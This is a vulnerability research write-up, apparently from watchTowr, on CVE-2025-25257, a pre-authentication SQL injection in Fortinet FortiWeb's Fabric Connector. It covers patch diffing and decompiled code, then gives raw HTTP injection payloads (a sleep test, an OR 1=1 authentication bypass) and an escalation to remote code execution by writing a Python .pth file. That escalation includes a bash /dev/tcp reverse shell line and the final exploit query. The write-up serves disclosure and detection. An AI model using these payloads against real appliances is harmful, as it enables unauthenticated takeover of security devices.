Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector (CVE-2025-25257)
Welcome back to yet another day in this parallel universe of security.
This time, we’re looking at Fortinet’s FortiWeb Fabric Connector. “What is that?” we hear you say. That's a great question; no one knows.
For the uninitiated, or unjaded;
Fortinet’s FortiWeb Fabric Connector is meant to be the glue between FortiWeb (their web application firewall) and other Fortinet ecosystem products, allowing for dynamic, policy-based security updates based on real-time changes in infrastructure or threat posture. Think of it as a fancy middleman - pulling metadata from sources like FortiGate firewalls, FortiManager, or even external services like AWS, and feeding that into FortiWeb so it can automatically adjust its protections. In theory, it should make things smarter and more responsive.
If you can’t tell, we moonlight inside Fortinet’s Presales Engineering team - the circle of life is very much real in cybersecurity.
Anyway, today, we’re analysing CVE-2025-25257 - a friendly pre-auth SQL injection in FortiWeb Fabric Connector, which, as described above, is the glue between many Fortinet security solutions. Sigh…..
CVE-2025-25257 is described as follows:
“Unauthenticated SQL injection in GUI - An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPs requests.”
The following versions of FortiWeb are affected:
| Version | Affected | Solution |
|---|---|---|
| FortiWeb 7.6 | 7.6.0 through 7.6.3 | Upgrade to 7.6.4 or above |
| FortiWeb 7.4 | 7.4.0 through 7.4.7 | Upgrade to 7.4.8 or above |
| FortiWeb 7.2 | 7.2.0 through 7.2.10 | Upgrade to 7.2.11 or above |
| FortiWeb 7.0 | 7.0.0 through 7.0.10 | Upgrade to 7.0.11 or above |
In fairness, the Secure-by-Design pledge did not require signers to avoid SQL injections, so we have nothing to say.
As always, we digress - onto today’s analysis…
Diving In
As many are familiar with, when we’re rebuilding N-day’s we typically find ourselves comparing binaries to allow us to quickly determine what has changed and hopefully rapidly identify “the change” we’re looking for.
For the purposes of this research, we differ versions of /bin/httpsd from;
- Version 7.6.3
- Version 7.6.4
We wanted to take a few seconds to point out the current state of vendor responsible patching behavior. We’ve coined this concept, with the basic premise that vendors eventually do things that are in the best interests of their customers. We hope it will catch on.
For those unfamiliar, there has been a shift - where vendors seemingly sit on critical, unauthenticated vulnerabilities in their solutions until they've amassed enough tiny, meaningless changes - in an attempt to effectively bury the security fixes in amongst a tirade of nonsense.
For example:
Anyway, these attempts are fairly futile and reflect the same amount of maturity that is engrained within their SDLC processes.
After 7 Veeam-years (3 minutes), we identified that the following function (still with symbols!) get_fabric_user_by_token.
The diff output from Diaphora can be found below (don't worry, we will explain this as we go, but isn't it pretty?):
Here’s the relevant portion of the vulnerable function.
The issue? A classic SQL injection, a vulnerability so sophisticated that we, as an industry, are still grappling with what the solution could be.
In this case, the complexity revolves around the part where attacker-controlled input is dropped directly into a SQL query without sanitisation or escaping.
__int64 __fastcall get_fabric_user_by_token(const char *a1)
{
unsigned int v1; // ebx
__int128 v3; // [rsp+0h] [rbp-4B0h] BYREF
__int64 v4; // [rsp+10h] [rbp-4A0h]
_BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF
__int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]
__int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]
void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]
__int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]
void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]
char s[16]; // [rsp+80h] [rbp-430h] BYREF
_BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF
unsigned __int64 v13; // [rsp+488h] [rbp-28h]
v13 = __readfsqword(0x28u);
*(_OWORD *)s = 0;
memset(v12, 0, sizeof(v12));
if ( a1 && *a1 )
{
init_ml_db_obj((__int64)v5);
v1 = v6(v5);
if ( !v1 )
{
**// VULN
snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);**
v1 = v7(v5, s);
if ( !v1 )
{
v4 = 0;
v3 = 0;
v1 = v9(v5, &v3);
if ( !v1 )
{
if ( (_DWORD)v3 == 1 )
{
v10(&v3);
}
else
{
v10(&v3);
v1 = -3;
}
}
}
}
v8(v5);
}
else
{
return (unsigned int)-1;
}
return v1;
}
The new version of the function replaces the previous format-string query with prepared statements – a reasonable attempt to prevent straightforward SQL injection.
Let’s take a closer look at how the updated query works:
v1 = mysql_stmt_init(v9[0]);
v2 = v1;
if ( !v1 )
goto LABEL_14;
if ( (unsigned int)mysql_stmt_prepare(v1, "SELECT id FROM fabric_user.user_table WHERE token = ?", 53) )
goto LABEL_13;
Magic! Fortinet have always been fairly bleeding edge and we’re privileged to watch innovation in real-time.
Before we go any further, let’s quickly revisit what “Fabric Connector” actually means in the context of FortiWeb – at least according to Fortinet’s own documentation.
The function in question, get_fabric_user_by_token, appears to be callable by external Fortinet products – such as a FortiGate appliance – when attempting to authenticate to the FortiWeb API for integration purposes.
Now, at this point, you might be wondering: how do we actually reach this “Fabric Connector” functionality?
A quick look at the httpd.conf for the running Apache server reveals the following routes:
[..SNIP..]
<Location "/api/fabric/device/status">
SetHandler fabric_device_status-handler
</Location>
<Location "/api/fabric/authenticate">
SetHandler fabric_authenticate-handler
</Location>
<Location ~ "/api/v[0-9]/fabric/widget">
SetHandler fabric_widget-handler
</Location>
[..SNIP..]
Interesting – we’ve got multiple routes referencing fabric. But does that mean all of them can reach our prime suspect: the get_fabric_user_by_token function? Only one way to find out.
Let’s take a look at the cross-references for get_fabric_user_by_token to understand exactly how it’s being called. The following diagram gives a useful overview of the call paths:
Here is another point of view:
[sub_55ED2EED05F0]──┐
│
[sub_55ED2EED3170]──┼──► [fabric_access_check] ──► [_fabric_access_check] ──► [get_fabric_user_by_token]
│
[sub_55ED2EED3270]──┘
The following three functions ultimately invoke fabric_access_check, which, in turn, calls our function of interest – get_fabric_user_by_token:
sub_55ED2EED05F0 --> /api/fabric/device/status
sub_55ED2EED3170 --> /api/v[0-9]/fabric/widget/[a-z]+
sub_55ED2EED3270 --> /api/v[0-9]/fabric/widget
A quick inspection of those functions confirms they’re tied directly to the routes we saw earlier. So – can we use any of those routes to reach our vulnerable function?
Excellent question. The answer: yes.
Let’s take a closer look at the following function:
sub_55ED2EED05F0 --> /api/fabric/device/status
Right off the bat – at [1] – one of the very first calls made by this function is to fabric_access_check. Promising start!
__int64 __fastcall sub_55ED2EED05F0(__int64 a1)
{
const char *v2; // rdi
unsigned int v3; // r13d
__int64 v5; // r12
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // r14
__int64 v10; // rax
__int64 v11; // rax
__int64 v12; // rax
__int64 v13; // r14
__int64 v14; // rax
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rdx
__int64 v18; // rcx
__int64 v19; // r14
__int64 v20; // rax
const char *v21; // rax
size_t v22; // rax
const char *v23; // rax
v2 = *(const char **)(a1 + 296);
if ( !v2 )
return (unsigned int)-1;
v3 = strcmp(v2, "fabric_device_status-handler");
if ( v3 )
{
return (unsigned int)-1;
}
else if ( (unsigned int)fabric_access_check(a1) ) // [1]
{
v5 = json_object_new_object(a1);
v6 = json_object_new_string(nCfg_debug_zone + 4888LL);
json_object_object_add(v5, "serial", v6);
v7 = json_object_new_string("fortiweb");
json_object_object_add(v5, "device_type", v7);
v8 = json_object_new_string("FortiWeb-VM");
json_object_object_add(v5, "model", v8);
v9 = json_object_new_object(v5);
v10 = json_object_new_int(7);
json_object_object_add(v9, "major", v10);
v11 = json_object_new_int(6);
json_object_object_add(v9, "minor", v11);
v12 = json_object_new_int(3);
json_object_object_add(v9, "patch", v12);
json_object_object_add(v5, "version", v9);
v13 = json_object_new_object(v5);
v14 = json_object_new_int(1043);
[..SNIP..]
Alright then – time to unpack what the fabric_access_check function actually does.
It’s dead simple. Here’s the breakdown:
- At [1], the
Authorizationheader is extracted from the HTTP request and stored in thev3variable. - At [2], the
__isoc23_sscanflibc function is used to parse the header. It expects the value to start withBearer(note the space), followed by up to 128 characters – which are extracted intov4. - At [3],
get_fabric_user_by_tokenis called, using the value stored inv4.
__int64 __fastcall fabric_access_check(__int64 a1)
{
__int64 v1; // rdi
__int64 v2; // rax
_OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF
char v5; // [rsp+80h] [rbp-20h]
unsigned __int64 v6; // [rsp+88h] [rbp-18h]
v1 = *(_QWORD *)(a1 + 248);
v6 = __readfsqword(0x28u);
v5 = 0;
memset(v4, 0, sizeof(v4));
v3 = apr_table_get(v1, "Authorization"); // [1]
if ( (unsigned int)__isoc23_sscanf(v2, "Bearer %128s", v4) != 1 ) // [2]
return 0;
v5 = 0;
if ( (unsigned int)fabric_user_db_init()
|| (unsigned int)refresh_fabric_user()
|| (unsigned int)get_fabric_user_by_token((const char *)v4) ) // [3]
{
return 0;
}
else
{
return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0);
}
}
As a quick reminder – get_fabric_user_by_token is our vulnerable function, where the attacker-controlled char *a1 ends up being embedded directly into a MySQL query.
__int64 __fastcall get_fabric_user_by_token(const char *a1)
{
unsigned int v1; // ebx
__int128 v3; // [rsp+0h] [rbp-4B0h] BYREF
__int64 v4; // [rsp+10h] [rbp-4A0h]
_BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF
__int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]
__int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]
void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]
__int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]
void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]
char s[16]; // [rsp+80h] [rbp-430h] BYREF
_BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF
unsigned __int64 v13; // [rsp+488h] [rbp-28h]
v13 = __readfsqword(0x28u);
*(_OWORD *)s = 0;
memset(v12, 0, sizeof(v12));
if ( a1 && *a1 )
{
init_ml_db_obj((__int64)v5);
v1 = v6(v5);
if ( !v1 )
{
**// VULN
snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);**
[..SNIP..]
Which means our controlled input – passed via the Authorization: Bearer %128s header – ends up in the following MySQL query (using the example value ‘watchTowr’ (because of the imagination we ooze):
**select id from fabric_user.user_table where token='watchTowr'**
Now, let’s put this theory to the test – we’ll inject a simple SLEEP statement and see if it has the intended effect.
For those following along at home, here is the raw HTTP request:
GET /api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA' or sleep(5)-- -'
Wait – why isn’t the response time equal to 5 seconds? That’s... not what we expected.
Now, for those wondering why the injection above didn’t work (the seasoned folks already know), let’s make a point of answering that properly.
We set a breakpoint just after the final query is constructed, using the payload AAAAAA' or sleep(5)-- -'.
The breakpoint hits – and inspecting the final query reveals something rather unexpected.
As you can see, our single quote was successfully injected, but everything after it was silently dropped. A Fortinet feature?
Or perhaps, is there something wrong with the query?
As a reminder, here’s the sequence of function calls leading up to the point where our controlled input is inserted into the query:
One call before get_fabric_user_by_token is, of course, _fabric_access_check. Let’s revisit that code one more time and take a closer look.
__int64 __fastcall fabric_access_check(__int64 a1)
{
__int64 v1; // rdi
__int64 v2; // rax
_OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF
char v5; // [rsp+80h] [rbp-20h]
unsigned __int64 v6; // [rsp+88h] [rbp-18h]
v1 = *(_QWORD *)(a1 + 248);
v6 = __readfsqword(0x28u);
v5 = 0;
memset(v4, 0, sizeof(v4));
v2 = apr_table_get(v1, "Authorization");
if ( (unsigned int)__isoc23_sscanf(v2, "Bearer %128s", v2) != 1 )
return 0;
v5 = 0;
if ( (unsigned int)fabric_user_db_init()
|| (unsigned int)refresh_fabric_user()
|| (unsigned int)get_fabric_user_by_token((const char *)v4) )
{
return 0;
}
else
{
return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0);
}
}
See it now? It’s dead simple.
The __isoc23_sscanf C function is used to extract our input – and, as per its format string, it stops reading at the first space character. That means we can’t include spaces in our injected query. Classic.
But of course, we’ve all been around long enough to remember the good old days – and the good old MySQL comment trick: /**/.
Time to dust it off and see it in action.
For those following along at home, here is the raw HTTP request:
GET /api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'
We’re sure you can feel our joy, as well:
Now let’s throw it back to the ’80s (otherwise known as modern-day Fortinet) and hit the software with a classic OR 1=1 .
This lets us bypass the token check entirely, which is particularly handy if you’re looking to detect the vulnerability's presence without going full-steam ahead with exploitation:
For those following along at home, here is the raw HTTP request:
GET /api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA'or'1'='1
Beautiful, a 200 OK HTTP response - confirming that our SQL injection was successful and the token check was bypassed:
HTTP/1.1 200 OK
Date: Thu, 10 Jul 2025 17:20:09 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: Script-Src 'self', frame-ancestors 'self'; Object-Src 'self'; base-uri 'self';
X-Content-Type-Options: nosniff
Content-Length: 248
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
Content-Type: application/json
{ "serial": "FVVM00UNLICENSED", "device_type": "fortiweb", "model": "FortiWeb-VM", "version": { "major": 7, "minor": 6, "patch": 3 }, "build": { "number": 1043, "release_life_cycle": "GA" }, "hostname": "FortiWeb", "supported_api_versions": [ 1 ] }
Just to help, here is a the request/response pair from a patched version:
HTTP request:
GET /api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA'or'1'='1
HTTP response:
HTTP/1.1 401 Unauthorized
Date: Thu, 10 Jul 2025 17:20:50 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: script-src 'self'; default-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; upgrade-insecure-requests; block-all-mixed-content;
X-Content-Type-Options: nosniff
Content-Length: 0
Note: We observed the drama and mass PR’s relating to vulnerability detections created via our CVE-2025-5777 analysis - please, slow down and stay calm.
From Pre-Auth SQLi to Pre-Auth RCE
Pre-auth SQLi is fun, but do we look like pentest consultants looking to ‘validate’ a vulnerability before we head into our ‘reporting time’?
Now the rollercoaster of fun begins – can we escalate this MySQL injection into Remote Command Execution?
To find out, we crack open the ancient scrolls of MySQL exploitation and revisit a time-honoured technique: the INTO OUTFILE statement.
As a quick refresher, INTO OUTFILE gives us an arbitrary file write primitive, allowing us to drop files directly onto the target filesystem.
Even the MySQL docs describe it like this:
Now, one important caveat when using INTO OUTFILE – the file gets written with the privileges of the user running the MySQL process. And as we all know, 90% of the time, that’s the mysql user – assuming, of course, nothing’s been misconfigured.
Ha ha ha ha ha.
Well – let’s find out.
Yikes. In fairness, again, this level of detail isn’t in any pledge so how would Fortinet have known?
So, now, in this parallel universe of security - we’re still in the 80’s and we’ve got arbitrary file write as root via our SQL injection. Naturally, the next step is code execution.
You might be thinking: “just drop a webshell.” And, to be honest, you’d be absolutely right.
As it turns out, there’s a conveniently exposed cgi-bin directory we can write to – and Apache’s own httpd.conf backs this up loud and clear:
[..SNIP..]
<IfModule alias_module>
ScriptAlias /cgi-bin/ "/migadmin/cgi-bin/"
</IfModule>
<Directory "/migadmin/cgi-bin">
Options +ExecCGI
SetHandler cgi-script
</Directory>
[..SNIP..]
So if we drop files into cgi-bin and visit them, we should get code execution, right?
Well – not quite.
The files do end up in the right place, but they aren’t marked as executable. And no, we can’t set the executable bit via SQL injection. Dead end?
Not yet.
At this point, you might chime in with:
Haha, why don’t you just overwrite an existing executable file?
Well, dear informed reader – as we mentioned earlier, INTO OUTFILE in MySQL doesn’t allow you to overwrite or append to existing files. The file must not exist when the statement runs – otherwise, it fails. So... dead end?
Still no.
Let’s get creative – it’s time to take a closer look at what’s already living inside the cgi-bin directory:
bash-5.0# ls -la /migadmin/cgi-bin
drwxr-xr-x 2 root 0 4096 Jul 10 05:55 .
drwxr-xr-x 14 root 0 4096 Jul 10 05:49 ..
-rwxrwxrwx 1 root 0 1499568 Mar 3 17:25 fwbcgi
-rwxr-xr-x 1 root 0 3475 Mar 3 17:25 ml-draw.py
Well well – would you look at that.
There’s a Python file sitting right there in cgi-bin, and yes – we can browse to it, and Apache will happily execute it as a CGI script. Totally safe. Nothing to see here.
But here’s the interesting bit: checking the shebang line of that Python file reveals something unsurprising – but extremely useful for what comes next.
#!/bin/python
import os
import sys
import cgi
import cgitb; cgitb.enable()
os.environ[ 'HOME' ] = '/tmp/'
import time
from datetime import datetime
import matplotlib
matplotlib.use( 'Agg' )
import pylab
form = cgi.FieldStorage()
[..SNIP..]]
The shebang tells us that when this script is executed (as it is every time the file is accessed), it’s run using /bin/python. So every time someone visits this file – Python spins up.
You see where this is going? If not, don’t worry – here’s a neat trick that’s been around for a while when you find yourself in a situation like this.
Credit where it’s due – the folks at SonarSource have done an excellent job documenting this primitive, so we’ll borrow a line directly within their blog post:
Python supports a feature called site-specific configuration hooks. Its main purpose is to add custom paths to the module search path. To do this, a .pth file with an arbitrary name can be put in the .local/lib/pythonX.Y/site-packages/ folder in a user's home directory:
Pretty useful – especially when arbitrary file write meets Python execution.
user@host:~$ echo '/tmp' > ~/.local/lib/python3.10/site-packages/foo.pth
Long story short: if you can write to that directory and drop a file with a .pth extension, Python will helpfully do the rest.
Specifically, if any line in that .pth file starts with import[SPACE] or import[TAB] followed by valid Python code, the site.py parser – which is executed every time a Python process starts – will say, “Ah, yes, I should run this line of code.”
If you’d like to dive deeper into this, once again, we highly recommend reading SonarSource Research’s explanation – they cover this primitive better than most.
So, the plan is simple:
- Write a
.pthfile with Python code inside it into thesite-packagesdirectory, - Trigger
/cgi-bin/ml-draw.py. - Apache will launch
/bin/python,site.pywill run, and our.pthfile will get picked up and executed – no executable bit required.
Perfect.
But a plan is just a plan – can we actually pull this off?
We started naively, by attempting the following query:
'/**/or/**/1=1/**/UNION/**/SELECT/**/'import os;os.system(\\'ls\\')'/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/trigger.pth
The idea was simple: write import os;os.system('ls') into /var/log/lib/python3.10/site-packages/trigger.pth.
But, of course, a few issues quickly surfaced:
- Our payload contains a space – which, as we’ve established, breaks the
%128sconstraint in thesscanfcall. - Even worse, the total header value now exceeds the 128-character limit entirely.
Okay – what if we shorten the path to something like /var/log/lib/python3.10/site-packages/a.pth?
That helps a little... but we’re still stuck with the space in import os.
To get around that, we can turn to an old favourite from the MySQL toolbox – the UNHEX() function.
UNHEX('41414141') --> AAAA
So we just hex-encode our payload and write it to the file?
If only life were that easy.
Let’s say we try a reverse shell payload – something like this:
import os; os.system('bash -c "/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"')
We’ll end up with something like this:
UNHEX('696d706f7274206f733b206f732e73797374656d282762617368202d6320222f62696e2f62617368202d69203e26202f6465762f7463702f312f3220303e2631222729')
Which, unfortunately, exceeds the maximum input limit.
Frustrated, we had an idea: what if instead of going for a one-shot payload, we break it down into chunks? Could that work?
Of course, there’s a well-known limitation with MySQL’s INTO OUTFILE – it only allows writing to new files. No appending, no overwriting. You get one shot per file path.
But then came the twist: sure, we’re limited to calling INTO OUTFILE once per destination file – but we’re not limited in how we build the content beforehand.
So what if we store our payload, chunk by chunk, into another column... and then ask MySQL to dump that column’s value into a file?
Looking through the schema for fabric_user.user_table, one column stood out immediately: token. Perfect.
Would something like this work?
Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/b.pth
But once again – the query above? 137 bytes long.
Looks like we’re cooked, right?
We were more than a little frustrated at this point. But – not out of ideas.
What if we used glob characters? Instead of supplying the full path, we tried something like:
bash
/var/log/lib/python3.10/site-*/
Unfortunately, MySQL greeted us with another error – turns out it doesn’t support globbing in INTO OUTFILE. Shame.
Okay, new idea: what if we used a relative path instead of an absolute one?
Great news – that worked.
By using a relative path in the INTO OUTFILE query, MySQL resolved it relative to the process’s working directory – which happened to be pretty close to Python’s site-packages. We used:
bash
../../lib/python3.10/site-packages/x.pth
And the final payload?
sql
'/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth'
Total length: 127 bytes. One byte to spare. Lucky us.
Detection Artefact Generator
https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257